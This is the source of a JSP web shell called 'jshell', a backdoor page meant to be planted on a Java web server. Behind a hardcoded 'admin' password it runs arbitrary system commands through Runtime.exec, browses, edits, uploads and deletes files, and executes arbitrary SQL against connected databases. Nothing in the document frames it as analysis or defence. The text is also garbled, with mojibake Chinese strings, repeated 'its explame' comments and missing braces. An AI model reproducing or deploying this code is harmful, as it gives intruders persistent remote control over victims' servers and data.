User Name
Password
 
 

 <script type="text/javascript">

<%@ page contentType="text/html; charset=GBK" %>
<%@ page import="java.io.*"%>
<%@ page import="java.util.Map"%>
<%@ page import="java.util.HashMap"%>
<%@ page import="java.nio.charset.Charset"%>
<%@ page import="java.util.regex.*"%>
<%@ page import="java.sql.*"%>
 
<%!
//its explame
private String _password = "admin";
private String _encodeType = "GB2312";
private int _sessionOutTime = 20;
private String[] _textFileTypes = {"txt", "htm", "html", "asp", "jsp", "java", "js", "css", "c", "cpp", "sh", "pl", "cgi", "php", "conf", "xml", "xsl", "ini", "vbs", "inc"};
private Connection _dbConnection = null;
private Statement _dbStatement = null;
private String _url = null;
//its explame
public boolean validate(String password) {
if (password.equals(_password)) {
return true;
} else {
return false;
}
}
//its explame
public String HTMLEncode(String str) {
str = str.replaceAll(" ", "&nbsp;");
str = str.replaceAll("<", "&lt;");
str = str.replaceAll(">", "&gt;");
str = str.replaceAll(" ", "<br>");
return str;
}
//its explame
public String Unicode2GB(String str) {
String sRet = null;
//its explame
try {
sRet = new String(str.getBytes("ISO8859_1"), _encodeType);
} catch (Exception e) {
sRet = str;
}
return sRet;
}
//its explame
public String exeCmd(String cmd) {
Runtime runtime = Runtime.getRuntime();
Process proc = null;
String retStr = "";
InputStreamReader insReader = null;
char[] tmpBuffer = new char[1024];
int nRet = 0;
//its explame
try {
proc = runtime.exec(cmd);
insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312"));
while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) {
retStr += new String(tmpBuffer, 0, nRet);
}
//its explame
insReader.close();
retStr = HTMLEncode(retStr);
} catch (Exception e) {
retStr = "<font color="red">bad command "" + cmd + ""</font>";
} finally {
return retStr;
}
}
//its explame
public String pathConvert(String path) {
String sRet = path.replace(\, /);
File file = new File(path);
//its explame
if (file.getParent() != null) {
if (file.isDirectory()) {
if (! sRet.endsWith("/"))
sRet += "/";
}
} else {
if (! sRet.endsWith("/"))
sRet += "/";
}
//its explame
return sRet;
}
 
public String strCut(String str, int len) {
String sRet;
//its explame
len -= 3;
if (str.getBytes().length <= len) {
sRet = str;
} else {
try {
sRet = (new String(str.getBytes(), 0, len, "GBK")) + "...";
} catch (Exception e) {
sRet = str;
}
}
return sRet;
}
//its explame
public String listFiles(String path, String curUri) {
File[] files = null;
File curFile = null;
String sRet = null;
int n = 0;
boolean isRoot = path.equals("");
//its explame
path = pathConvert(path);
try {
if (isRoot) {
files = File.listRoots();
} else {
try {
curFile = new File(path);
String[] sFiles = curFile.list();
files = new File[sFiles.length];
for (n = 0; n < sFiles.length; n ++) {
files[n] = new File(path + sFiles[n]);
}
} catch (Exception e) {
sRet = "<font color="red">bad path "" + path + ""</font>";
}
}
//its explame
if (sRet == null) {
sRet = " ";
sRet += "<script language="javascript"> ";
sRet += "var selectedFile = null; ";
sRet += "<!-- ";
sRet += "function createFolder() { ";
sRet += " var folderName = prompt("������Ŀ¼��", ""); ";
sRet += " if (folderName != null && folderName != false && ltrim(folderName) != "") { ";
sRet += " window.location.href = "" + curUri + "&curPath=" + path + "&fsAction=createFolder&folderName=" + folderName + "" + ""; ";
sRet += " } ";
sRet += "} ";
sRet += " ";
sRet += "function createFile() { ";
sRet += " var fileName = prompt("�������ļ���", ""); ";
sRet += " if (fileName != null && fileName != false && ltrim(fileName) != "") { ";
sRet += " window.location.href = "" + curUri + "&curPath=" + path + "&fsAction=createFile&fileName=" + fileName + "" + ""; ";
sRet += " } ";
sRet += "} ";
sRet += " ";
sRet += "function selectFile(obj) { ";
sRet += " if (selectedFile != null) ";
sRet += " selectedFile.style.backgroundColor = "#FFFFFF"; ";
sRet += " selectedFile = obj; ";
sRet += " obj.style.backgroundColor = "#CCCCCC"; ";
sRet += "} ";
sRet += " ";
sRet += "function change(obj) { ";
sRet += " if (selectedFile != obj) ";
sRet += " obj.style.backgroundColor = "#CCCCCC"; ";
sRet += "} ";
sRet += " ";
sRet += "function restore(obj) { ";
sRet += " if (selectedFile != obj) ";
sRet += " obj.style.backgroundColor = "#FFFFFF"; ";
sRet += "} ";
sRet += " ";
sRet += "function showUpload() { ";
sRet += " up.style.visibility = "visible"; ";
sRet += "} ";
sRet += " ";
sRet += "function copyFile() { ";
sRet += " var toPath = prompt("������Ҫ���Ƶ���Ŀ¼(����·��)", ""); ";
sRet += " if (toPath != null && toPath != false && ltrim(toPath) != "") { ";
sRet += " document.fileList.action = "" + curUri + "&curPath=" + path + "&fsAction=copyto&dstPath=" + "" + toPath; ";
sRet += " document.fileList.submit(); ";
sRet += " } ";
sRet += "} ";
sRet += " ";
sRet += "function rename() { ";
sRet += " var count = 0; ";
sRet += " var selected = -1; ";
sRet += " for (var i = 0; i < document.fileList.filesDelete.length; i ++) { ";
sRet += " if (document.fileList.filesDelete[i].checked) { ";
sRet += " count ++; ";
sRet += " selected = i; ";
sRet += " } ";
sRet += " } ";
sRet += " if (count > 1) ";
sRet += " alert("��������������ļ�"); ";
sRet += " else if (selected == -1) ";
sRet += " alert("û��ѡ��Ҫ���������ļ�"); ";
sRet += " else { ";
sRet += " var newName = prompt("���������ļ���", ""); ";
sRet += " if (newName != null && newName != false && ltrim(newName) != "") { ";
sRet += " window.location.href = "" + curUri + "&curPath=" + path + "&fsAction=rename&newName=" + newName + "&fileRename=" + document.fileList.filesDelete[selected].value;";
sRet += " } ";
sRet += " } ";
sRet += "} ";
sRet += " ";
sRet += "//--> ";
sRet += "</script> ";
sRet += "<table width="100%" border="0" cellpadding="2" cellpadding="1"> ";
sRet += " <form enctype="multipart/form-data" method="post" name="upload" action="" + curUri + "&curPath=" + path + "&fsAction=upload" + ""> ";
//its explame
if (curFile != null) {
sRet += " <tr> ";
sRet += " <td colspan="4" valign="middle"> ";
sRet += " &nbsp;<a href="" + curUri + "&curPath=" + (curFile.getParent() == null ? "" : pathConvert(curFile.getParent())) + "">�ϼ�Ŀ¼</a>&nbsp;";
sRet += "<a href="#" onclick="javascript:createFolder()">����Ŀ¼</a>&nbsp;";
sRet += "<a href="#" onclick="javascript:createFile()">�½��ļ�</a>&nbsp;";
sRet += "<a href="#" onclick="javascript:document.fileList.submit();">ɾ��</a>&nbsp;";
sRet += "<a href="#" onclick="javascript:copyFile()">����</a>&nbsp;";
sRet += "<a href="#" onclick="javascript:rename()">������</a>&nbsp;";
sRet += "<a href="#" onclick="javascript:showUpload()">�ϴ��ļ�</a> ";
sRet += "<span style="visibility: hidden" id="up"><input type="file" value="�ϴ�" name="upFile" size="8" class="textbox" />&nbsp;<input type="submit" value="�ϴ�" class="button"></span> ";
sRet += " </td> ";
sRet += " </tr> ";
}
//its explame
sRet += "</form> ";
//its explame
sRet += " <form name="fileList" method="post" action="" + curUri + "&curPath=" + path + "&fsAction=deleteFile" + ""> ";
//its explame
for (n = 0; n < files.length; n ++) {
sRet += " <tr onclick="javascript: selectFile(this)" onmouseover="javascript: change(this)" onmouseout="javascript: restore(this)" style="cursor:hand;"> ";
//its explame
if (! isRoot) {
sRet += " <td width="5%" align="center"><input type="checkbox" name="filesDelete" value="" + pathConvert(files[n].getPath()) + "" /></td> ";
if (files[n].isDirectory()) {
sRet += " <td><a href="" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "" title="" + files[n].getName() + "">&lt;" + strCut(files[n].getName(), 50) + "&gt;</a></td> ";
} else {
sRet += " <td><a title="" + files[n].getName() + "">" + strCut(files[n].getName(), 50) + "</a></td> ";
}
sRet += " <td width="15%" align="center">" + (files[n].isDirectory() ? "&lt;dir&gt;" : "") + ((! files[n].isDirectory()) && isTextFile(getExtName(files[n].getPath())) ? "<<a href="" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "&fsAction=open" + "">edit</a>>" : "") + "</td> ";
sRet += " <td width="15%" align="center">" + files[n].length() + "</td> ";
} else {
sRet += " <td><a href="" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "" title="" + files[n].getName() + "">" + pathConvert(files[n].getPath()) + "</a></td> ";
}
sRet += " </tr> ";
}
sRet += " </form> ";
sRet += "</table> ";
}
} catch (SecurityException e) {
sRet = "<font color="red">security violation, no privilege.</font>";
}
return sRet;
}
 
public boolean isTextFile(String extName) {
int i;
boolean bRet = false;
if (! extName.equals("")) {
for (i = 0; i < _textFileTypes.length; i ++) {
if (extName.equals(_textFileTypes[i])) {
bRet = true;
break;
}
}
} else {
bRet = true;
}
return bRet;
}
 
public String getExtName(String fileName) {
String sRet = "";
int nLastDotPos;
//its explame
fileName = pathConvert(fileName);
//its explame
nLastDotPos = fileName.lastIndexOf(".");
if (nLastDotPos == -1) {
sRet = "";
} else {
sRet = fileName.substring(nLastDotPos + 1);
}
return sRet;
}
 
public String browseFile(String path) {
String sRet = "";
File file = null;
FileReader fileReader = null;
//its explame
path = pathConvert(path);
//its explame
try {
file = new File(path);
fileReader = new FileReader(file);
String fileString = "";
char[] chBuffer = new char[1024];
int ret;
sRet = "<script language="javascript"> ";
while ((ret = fileReader.read(chBuffer, 0, 1024)) != -1) {
fileString += new String(chBuffer, 0, ret);
}
sRet += "var wnd = window.open("about:blank", "_blank", "width=600, height=500"); ";
sRet += "var doc = wnd.document; ";
sRet += "doc.write("" + "aaa" + ""); ";
//its explame
sRet += "</script> ";
//its explame
} catch (IOException e) {
sRet += "<script language="javascript"> ";
sRet += "alert("���ļ�" + path + "ʧ��"); ";
sRet += "</script> ";
}
return sRet;
}
//its explame
public String openFile(String path, String curUri) {
String sRet = "";
boolean canOpen = false;
int nLastDotPos = path.lastIndexOf(".");
String extName = "";
String fileString = null;
File curFile = null;
//its explame
path = pathConvert(path);
//its explame
if (nLastDotPos == -1) {
canOpen = true;
} else {
extName = path.substring(nLastDotPos + 1);
canOpen = isTextFile(extName);
}
if (canOpen) {
try {
fileString = "";
curFile = new File(path);
FileReader fileReader = new FileReader(curFile);
char[] chBuffer = new char[1024];
int nRet;
while ((nRet = fileReader.read(chBuffer, 0, 1024)) != -1) {
fileString += new String(chBuffer, 0, nRet);
}
//its explame
fileReader.close();
} catch (IOException e) {
fileString = null;
sRet = "<font color="red">���ܴ��ļ�"" + path + ""</font>";
} catch (SecurityException e) {
fileString = null;
sRet = "<font color="red">��ȫ���⣬û��Ȩ��ִ�иò���</font>";
}
} else {
sRet = "<font color="red">file "" + path + "" is not a text file, cant be opened in text mode</font>";
}
if (fileString != null) {
sRet += "<script language="javascript">";
sRet += "<!-- ";
sRet += "function saveAs() { ";
sRet += " var fileName = prompt("�������ļ���", ""); ";
sRet += " if (fileName != null && fileName != false && ltrim(fileName) != "") { ";
sRet += " document.openfile.action="" + curUri + "&curPath=" + pathConvert(curFile.getParent()) + "" + fileName + "&fsAction=saveAs"; ";
sRet += " document.openfile.submit(); ";
sRet += " } ";
sRet += "} ";
sRet += "//--> ";
sRet += "</script> ";
sRet += "<table align="center" width="100%" cellpadding="2" cellspacing="1"> ";
sRet += " <form name="openfile" method="post" action="" + curUri + "&curPath=" + path + "&fsAction=save" + ""> ";
sRet += " <tr> ";
sRet += " <td>[<a href="" + curUri + "&curPath=" + pathConvert(curFile.getParent()) + "">�ϼ�Ŀ¼</a>]</td> ";
sRet += " </tr> ";
sRet += " <tr> ";
sRet += " <td align="center"> ";
sRet += " <textarea name="fileContent" cols="80" rows="32"> ";
sRet += fileString;
sRet += " </textarea> ";
sRet += " </td> ";
sRet += " </tr> ";
sRet += " <tr> ";
sRet += " <td align="center"><input type="submit" class="button" value="����" />&nbsp;<input type="button" class="button" value="����Ϊ" onclick="javascript:saveAs()" /></td> ";
sRet += " </tr> ";
sRet += " </form> ";
sRet += "</table> ";
}
return sRet;
}
 
public String saveFile(String path, String curUri, String fileContent) {
String sRet = "";
File file = null;
path = pathConvert(path);
try {
file = new File(path);
if (! file.canWrite()) {
sRet = "<font color="red">�ļ�����д</font>";
} else {
FileWriter fileWriter = new FileWriter(file);
fileWriter.write(fileContent);
fileWriter.close();
sRet = "�ļ�����ɹ������ڷ��أ����Ժ򡭡� ";
sRet += "<meta http-equiv="refresh" content="2;url=" + curUri + "&curPath=" + path + "&fsAction=open" + "" /> ";
}
} catch (IOException e) {
sRet = "<font color="red">�����ļ�ʧ��</font>";
} catch (SecurityException e) {
sRet = "<font color="red">��ȫ���⣬û��Ȩ��ִ�иò���</font>";
}
return sRet;
}
 
public String createFolder(String path, String curUri, String folderName) {
String sRet = "";
File folder = null;
path = pathConvert(path);
try {
folder = new File(path + folderName);
if (folder.exists() && folder.isDirectory()) {
sRet = "<font color="red">"" + path + folderName + ""Ŀ¼�Ѿ�����</font>";
} else {
if (folder.mkdir()) {
sRet = "�ɹ�����Ŀ¼"" + pathConvert(folder.getPath()) + ""�����ڷ��أ����Ժ򡭡� ";
sRet += "<meta http-equiv="refresh" content="2;url=" + curUri + "&curPath=" + path + folderName + "" />";
} else {
sRet = "<font color="red">����Ŀ¼"" + folderName + ""ʧ��</font>";
}
}
} catch (SecurityException e) {
sRet = "<font color="red">��ȫ���⣬û��Ȩ��ִ�иò���</font>";
}
return sRet;
}
 
public String createFile(String path, String curUri, String fileName) {
String sRet = "";
File file = null;
path = pathConvert(path);
try {
file = new File(path + fileName);
if (file.createNewFile()) {
sRet = "<meta http-equiv="refresh" content="0;url=" + curUri + "&curPath=" + path + fileName + "&fsAction=open" + "" />";
} else {
sRet = "<font color="red">"" + path + fileName + ""�ļ��Ѿ�����</font>";
}
} catch (SecurityException e) {
sRet = "<font color="red">��ȫ���⣬û��Ȩ��ִ�иò���</font>";
} catch (IOException e) {
sRet = "<font color="red">�����ļ�"" + path + fileName + ""ʧ��</font>";
}
return sRet;
 
public String deleteFile(String path, String curUri, String[] files2Delete) {
String sRet = "";
File tmpFile = null;
try {
for (int i = 0; i < files2Delete.length; i ++) {
tmpFile = new File(files2Delete[i]);
if (! tmpFile.delete()) {
sRet += "<font color="red">ɾ��"" + files2Delete[i] + ""ʧ��</font><br> ";
}
}
if (sRet.equals("")) {
sRet = "ɾ���ɹ������ڷ��أ����Ժ򡭡� ";
sRet += "<meta http-equiv="refresh" content="2;url=" + curUri + "&curPath=" + path + "" />";
}
} catch (SecurityException e) {
sRet = "<font color="red">��ȫ���⣬û��Ȩ��ִ�иò���</font> ";
}
return sRet;
}
 
public String saveAs(String path, String curUri, String fileContent) {
String sRet = "";
File file = null;
FileWriter fileWriter = null;
try {
file = new File(path);
if (file.createNewFile()) {
fileWriter = new FileWriter(file);
fileWriter.write(fileContent);
fileWriter.close();
sRet = "<meta http-equiv="refresh" content="0;url=" + curUri + "&curPath=" + path + "&fsAction=open" + "" />";
} else {
sRet = "<font color="red">�ļ�"" + path + ""�Ѿ�����</font>";
}
} catch (IOException e) {
sRet = "<font color="red">�����ļ�"" + path + ""ʧ��</font>";
}
return sRet;
}
 
 
public String uploadFile(ServletRequest request, String path, String curUri) {
String sRet = "";
File file = null;
InputStream in = null;
path = pathConvert(path);
try {
in = request.getInputStream();
byte[] inBytes = new byte[request.getContentLength()];
int nBytes;
int start = 0;
int end = 0;
int size = 1024;
String token = null;
String filePath = null;
 
//
// ������������һ���ֽ�����
//
while ((nBytes = in.read(inBytes, start, size)) != -1) {
start += nBytes;
}
in.close();
//
// ���ֽ������еõ��ļ��ָ�����
//
int i = 0;
byte[] seperator;
while (inBytes[i] != 13) {
i ++;
}
seperator =  new byte[i];
for (i = 0; i < seperator.length; i ++) {
seperator[i] = inBytes[i];
}
//
// �õ�Header����
//
String dataHeader = null;
i += 3;
start = i;
while (! (inBytes[i] == 13 && inBytes[i + 2] == 13)) {
i ++;
}
end = i - 1;
dataHeader = new String(inBytes, start, end - start + 1);
//
// �õ��ļ���
//
token = "filename="";
start = dataHeader.indexOf(token) + token.length();
token = """;
end = dataHeader.indexOf(token, start) - 1;
filePath = dataHeader.substring(start, end + 1);
filePath = pathConvert(filePath);
String fileName = filePath.substring(filePath.lastIndexOf("/") + 1);
//
// �õ��ļ����ݿ�ʼλ��
//
i += 4;
start = i;
/*
boolean found = true;
byte[] tmp = new byte[seperator.length];
while (i <= inBytes.length - 1 - seperator.length) {
for (int j = i; j < i + seperator.length; j ++) { 
if (seperator[j - i] != inBytes[j]) {
found = false;
break;
} else
tmp[j - i] = inBytes[j];
}
if (found)
break;
i ++;
}*/
//
// ͵���İ취
//
end = inBytes.length - 1 - 2 - seperator.length - 2 - 2;
//
// ����Ϊ�ļ�
//
File newFile = new File(path + fileName);
newFile.createNewFile();
FileOutputStream out = new FileOutputStream(newFile);
//out.write(inBytes, start, end - start + 1);
out.write(inBytes, start, end - start + 1);
out.close();
sRet = "<script language="javascript"> ";
sRet += "alert("�ļ��ϴ��ɹ�" + fileName + ""); ";
sRet += "</script> ";
} catch (IOException e) {
sRet = "<script language="javascript"> ";
sRet += "alert("�ļ��ϴ�ʧ��"); ";
sRet += "</script> ";
}
sRet += "<meta http-equiv="refresh" content="0;url=" + curUri + "&curPath=" + path + "" />";
return sRet;
}
 
public boolean fileCopy(String srcPath, String dstPath) {
boolean bRet = true;
try {
FileInputStream in = new FileInputStream(new File(srcPath));
FileOutputStream out = new FileOutputStream(new File(dstPath));
byte[] buffer = new byte[1024];
int nBytes;
 
while ((nBytes = in.read(buffer, 0, 1024)) != -1) {
out.write(buffer, 0, nBytes);
}
in.close();
out.close();
} catch (IOException e) {
bRet = false;
}
return bRet;
}
 
public String getFileNameByPath(String path) {
String sRet = "";
path = pathConvert(path);
if (path.lastIndexOf("/") != -1) {
sRet = path.substring(path.lastIndexOf("/") + 1);
} else {
sRet = path;
}
return sRet;
}
 
public String copyFiles(String path, String curUri, String[] files2Copy, String dstPath) {
String sRet = "";
int i;
path = pathConvert(path);
dstPath = pathConvert(dstPath);
for (i = 0; i < files2Copy.length; i ++) {
if (! fileCopy(files2Copy[i], dstPath + getFileNameByPath(files2Copy[i]))) {
sRet += "<font color="red">�ļ�"" + files2Copy[i] + ""����ʧ��</font><br/>";
}
}
if (sRet.equals("")) {
sRet = "�ļ����Ƴɹ������ڷ��أ����Ժ򡭡�";
sRet += "<meta http-equiv="refresh" content="2;url=" + curUri + "&curPath=" + path + "" />";
}
return sRet;
}
 
public boolean isFileName(String fileName) {
boolean bRet = false;
Pattern p = Pattern.compile("^[a-zA-Z0-9][\w\.]*[\w]$");
Matcher m = p.matcher(fileName);
bRet = m.matches();
return bRet;
}
 
public String renameFile(String path, String curUri, String file2Rename, String newName) {
String sRet = "";
path = pathConvert(path);
file2Rename = pathConvert(file2Rename);
try {
File file = new File(file2Rename);
newName = file2Rename.substring(0, file2Rename.lastIndexOf("/") + 1) + newName;
File newFile = new File(newName);
if (! file.exists()) {
sRet = "<font color="red">�ļ�"" + file2Rename + ""������</font>";
} else {
file.renameTo(newFile);
sRet = "�ļ��������ɹ������ڷ��أ����Ժ򡭡�";
sRet += "<meta http-equiv="refresh" content="2;url=" + curUri + "&curPath=" + path + "" />";
}
} catch (SecurityException e) {
sRet = "<font color="red">��ȫ���⵼���ļ�"" + file2Rename + ""����ʧ��</font>";
}
return sRet;
}
 
public boolean DBInit(String dbType, String dbServer, String dbPort, String dbUsername, String dbPassword, String dbName) {
boolean bRet = true;
String driverName = "";
if (dbServer.equals(""))
dbServer = "localhost";
try {
if (dbType.equals("sqlserver")) {
driverName = "com.microsoft.jdbc.sqlserver.SQLServerDriver";
if (dbPort.equals(""))
dbPort = "1433";
_url = "jdbc:microsoft:sqlserver://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName;
} else if (dbType.equals("mysql")) {
driverName = "com.mysql.jdbc.Driver";
if (dbPort.equals(""))
dbPort = "3306";
_url = "jdbc:mysql://" + dbServer + ":" + dbPort + ";User=" + dbUsername + ";Password=" + dbPassword + ";DatabaseName=" + dbName;
} else if (dbType.equals("odbc")) {
driverName = "sun.jdbc.odbc.JdbcOdbcDriver";
_url = "jdbc:odbc:dsn=" + dbName + ";User=" + dbUsername + ";Password=" + dbPassword;
} else if (dbType.equals("oracle")) {
driverName = "oracle.jdbc.driver.OracleDriver";
_url = "jdbc:oracle:thin@" + dbServer + ":" + dbPort + ":" + dbName;
} else if (dbType.equals("db2")) {
driverName = "com.ibm.db2.jdbc.app.DB2Driver";
_url = "jdbc:db2://" + dbServer + ":" + dbPort + "/" + dbName;
}
Class.forName(driverName);
} catch (ClassNotFoundException e) {
bRet = false;
}
return bRet;
}
 
public boolean DBConnect(String User, String Password) {
boolean bRet = false;
if (_url != null) {
try {
_dbConnection = DriverManager.getConnection(_url, User, Password);
_dbStatement = _dbConnection.createStatement();
bRet = true; 
} catch (SQLException e) {
bRet = false;
}
return bRet;
}
 
public String DBExecute(String sql) {
String sRet = "";
if (_dbConnection == null || _dbStatement == null) {
sRet = "<font color="red">���ݿ�û����������</font>";
} else {
try {
if (sql.toLowerCase().substring(0, 6).equals("select")) {
ResultSet rs = _dbStatement.executeQuery(sql);
ResultSetMetaData rsmd = rs.getMetaData();
int colNum = rsmd.getColumnCount();
int colType;
sRet = "sql���ִ�гɹ������ؽ��<br> ";
sRet += "<table align="center" border="0" bgcolor="#CCCCCC" cellpadding="2" cellspacing="1"> ";
sRet += "    <tr bgcolor="#FFFFFF"> ";
for (int i = 1; i <= colNum; i ++) {
sRet += "        <th>" + rsmd.getColumnName(i) + "(" + rsmd.getColumnTypeName(i) + ")</th> ";
}
sRet += "    </tr> ";
while (rs.next()) {
sRet += " <tr bgcolor="#FFFFFF"> ";
for (int i = 1; i <= colNum; i ++) {
colType = rsmd.getColumnType(i);
sRet += " <td>";
switch (colType) {
case Types.BIGINT:
sRet += rs.getLong(i);
break;
case Types.BIT:
sRet += rs.getBoolean(i);
break;
case Types.BOOLEAN:
sRet += rs.getBoolean(i);
break;
case Types.CHAR:
sRet += rs.getString(i);
break;
case Types.DATE:
sRet += rs.getDate(i).toString();
break;
case Types.DECIMAL:
sRet += rs.getDouble(i);
break;
case Types.NUMERIC:
sRet += rs.getDouble(i);
break;
case Types.REAL:
sRet += rs.getDouble(i);
break;
case Types.DOUBLE:
sRet += rs.getDouble(i);
break;
case Types.FLOAT:
sRet += rs.getFloat(i);
break;
case Types.INTEGER:
sRet += rs.getInt(i);
break;
case Types.TINYINT:
sRet += rs.getShort(i);
break;
case Types.VARCHAR:
sRet += rs.getString(i);
break;
case Types.TIME:
sRet += rs.getTime(i).toString();
break;
case Types.DATALINK:
sRet += rs.getTimestamp(i).toString();
break;
}
sRet += " </td> ";
}
sRet += " </tr> "; 
}
sRet += "</table> ";
rs.close();
} else {
if (_dbStatement.execute(sql)) {
sRet = "sql���ִ�гɹ�";
} else {
sRet = "<font color="red">sql���ִ��ʧ��</font>";
}
}
} catch (SQLException e) {
sRet = "<font color="red">sql���ִ��ʧ��</font>";
}
}
return sRet;
}
 
public void DBRelease() {
try {
if (_dbStatement != null) {
_dbStatement.close();
_dbStatement = null;
}
if (_dbConnection != null) {
_dbConnection.close();
_dbConnection = null;
}
} catch (SQLException e) {
}
}
 
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////
 
class JshellConfig {
private String _jshellContent = null;
private String _path = null;
 
public JshellConfig(String path) throws JshellConfigException {
_path = path;
read();
}
private void read() throws JshellConfigException {
try {
FileReader jshell = new FileReader(new File(_path));
char[] buffer = new char[1024];
int nChars;
_jshellContent = "";
while ((nChars = jshell.read(buffer, 0, 1024)) != -1) {
_jshellContent += new String(buffer, 0, nChars);
}
jshell.close();
} catch (IOException e) {
throw new JshellConfigException("���ļ�ʧ��");
}
}
public void save() throws JshellConfigException {
FileWriter jshell = null;
try {
jshell = new FileWriter(new File(_path));
char[] buffer = _jshellContent.toCharArray();
int start = 0;
int size = 1024;
for (start = 0; start < buffer.length - 1 - size; start += size) {
jshell.write(buffer, start, size);
}
jshell.write(buffer, start, buffer.length - 1 - start);
} catch (IOException e) {
new JshellConfigException("д�ļ�ʧ��");
} finally {
try {
jshell.close();
} catch (IOException e) {
}
}
}
public void setPassword(String password) throws JshellConfigException {
Pattern p = Pattern.compile("\w+");
Matcher m = p.matcher(password);
if (! m.matches()) {
throw new JshellConfigException("���벻���г���ĸ�����»���������ַ�");
}
p = Pattern.compile("private\sString\s_password\s=\s"" + _password + """);
m = p.matcher(_jshellContent);
if (! m.find()) {
throw new JshellConfigException("�������Ѿ����Ƿ��޸�");
}
_jshellContent = m.replaceAll("private String _password = "" + password + """);
//return HTMLEncode(_jshellContent);
}
public void setEncodeType(String encodeType) throws JshellConfigException {
Pattern p = Pattern.compile("[A-Za-z0-9]+");
Matcher m = p.matcher(encodeType);
if (! m.matches()) {
throw new JshellConfigException("�����ʽֻ������ĸ�����ֵ����");
}
p = Pattern.compile("private\sString\s_encodeType\s=\s"" + _encodeType + """);
m = p.matcher(_jshellContent);
if (! m.find()) {
throw new JshellConfigException("�������Ѿ����Ƿ��޸�");
}
_jshellContent = m.replaceAll("private String _encodeType = "" + encodeType + """);
//return HTMLEncode(_jshellContent);
}
public void setSessionTime(String sessionTime) throws JshellConfigException {
Pattern p = Pattern.compile("\d+");
Matcher m = p.matcher(sessionTime);
if (! m.matches()) {
throw new JshellConfigException("session��ʱʱ��ֻ��������");
}
p = Pattern.compile("private\sint\s_sessionOutTime\s=\s" + _sessionOutTime);
m = p.matcher(_jshellContent);
if (! m.find()) {
throw new JshellConfigException("�������Ѿ����Ƿ��޸�");
}
_jshellContent = m.replaceAll("private int _sessionOutTime = " + sessionTime);
//return HTMLEncode(_jshellContent);
}
public void setTextFileTypes(String[] textFileTypes) throws JshellConfigException {
Pattern p = Pattern.compile("\w+");
Matcher m = null;
int i;
String fileTypes = "";
String tmpFileTypes = "";
for (i = 0; i < textFileTypes.length; i ++) {
m = p.matcher(textFileTypes[i]);
if (! m.matches()) {
throw new JshellConfigException("��չ��ֻ������ĸ���ֺ��»��ߵ����");
}
if (i != textFileTypes.length - 1)
fileTypes += """ + textFileTypes[i] + """ + ", ";
else
fileTypes += """ + textFileTypes[i] + """;
}
for (i = 0; i < _textFileTypes.length; i ++) {
if (i != _textFileTypes.length - 1)
tmpFileTypes += """ + _textFileTypes[i] + """ + ", ";
else
tmpFileTypes += """ + _textFileTypes[i] + """;
}
p = Pattern.compile(tmpFileTypes);
m = p.matcher(_jshellContent);
if (! m.find()) {
throw new JshellConfigException("�����ļ��Ѿ����Ƿ��޸�");
}
_jshellContent = m.replaceAll(fileTypes);
//return HTMLEncode(_jshellContent);
}
public String getContent() {
return HTMLEncode(_jshellContent);
}
}
 
class JshellConfigException extends Exception {
public JshellConfigException(String message) {
super(message);
}
}
%>
<html>
<head>
<title>jshell ver 0.1</title>
</head>
<style>
body {
font-size: 14px;
font-family: ����;
}
td {
font-size: 14px;
font-family: ����;
}
 
input.textbox {
border: black solid 1;
font-size: 12px;
height: 18px;
}
 
input.button {
font-size: 12px;
font-family: ����;
border: black solid 1;
}
 
td.datarows {
font-size: 14px;
font-family: ����;
height: 25px;
}
 
textarea {
border: black solid 1;
}
</style>
<script language="JavaScript">
<!--
function ltrim(str) {
while (str.indexOf(0) == " ")
str = str.substring(1);
return str;
}
 
function changeAction(obj) {
obj.submit();
}
//-->
</script>
<body>
<%
session.setMaxInactiveInterval(_sessionOutTime * 60);
 
if (request.getParameter("password") == null && session.getAttribute("password") == null) {
// show the login form
//================================================================================================
%>
<table align="center" border="0" width="250" cellspacing="2" cellpadding="1">
<form name="f1" method="post">
  <tr>
    <td align="center" colspan="2"><b>JShell Ver 1.0</b></td>
  </tr>
  <tr>
    <td>����:</td>
    <td>
<input type="password" size="25" name="password" class="textbox" />
<input type="submit" value="�ύ" class="button" />
    </td>
  </tr>
</form>
</table>
<%
//================================================================================================
// end of the login form
} else {
String password = null;
if (session.getAttribute("password") == null) {
password = (String)request.getParameter("password");
if (validate(password) == false) {
out.println("<div align="center"><font color="red"><li>�������!</font></div>");
out.close();
return;
}
session.setAttribute("password", password);
} else {
password = (String)session.getAttribute("password");
}
String action = null;
if (request.getParameter("action") == null)
action = "main";
else 
action = (String)request.getParameter("action");
if (action.equals("exit")) {
session.removeAttribute("password");
response.sendRedirect(request.getRequestURI());
out.close();
return;
}
 
// show the main menu
//====================================================================================
%>
<table align="center" width="600" border="0" cellpadding="2" cellspacing="0">
<form name="form1" method="get">
<tr bgcolor="#CCCCCC">
<td id="title"><!--[������ҳ]--></td>
<td align="right">
<select name="action" onChange="javascript:changeAction(document.form1)">
<option value="main">������ҳ</option>
<option value="filesystem">�ļ�ϵͳ</option>
<option value="command">ϵͳ����</option>
<option value="database">���ݿ�</option>
<option value="config">��������</option>
<option value="about">���ڳ���</option>
<option value="exit">�˳�����</option>
</select>
<script language="JavaScript">
<%
out.println("var action = "" + action + """);
%>
var sAction = document.form1.action;
for (var i = 0; i < sAction.length; i ++) {
if (sAction[i].value == action) {
sAction[i].selected = true;
//title.innerHTML = "[" + sAction[i].innerHTML + "]";
}
}
</script>
</td>
</tr>
</form>
</table>
<%
//=====================================================================================
// end of main menu
 
if (action.equals("main")) {
// print the system info table
//=======================================================================================
%>
<table align="center" width="600" cellpadding="2" cellspacing="1" border="0" bgcolor="#CCCCCC">
<tr bgcolor="#FFFFFF">
<td colspan="2" align="center">��������Ϣ</td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">��������</td>
<td align="center" class="datarows"><%=request.getServerName()%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">�������˿�</td>
<td align="center" class="datarows"><%=request.getServerPort()%></td>
</tr>
<tr bgcolor="#FFFFFF">
<td width="300" align="center" class="datarows">����ϵͳ</td>
<td align="center" class="datarows"><%=System.getProperty("os.name") + " " + System.getProperty("os.version") + " " + System.getProperty("os.arch")%></td>
</tr>
<tr bgcolor="#FFFFFF">
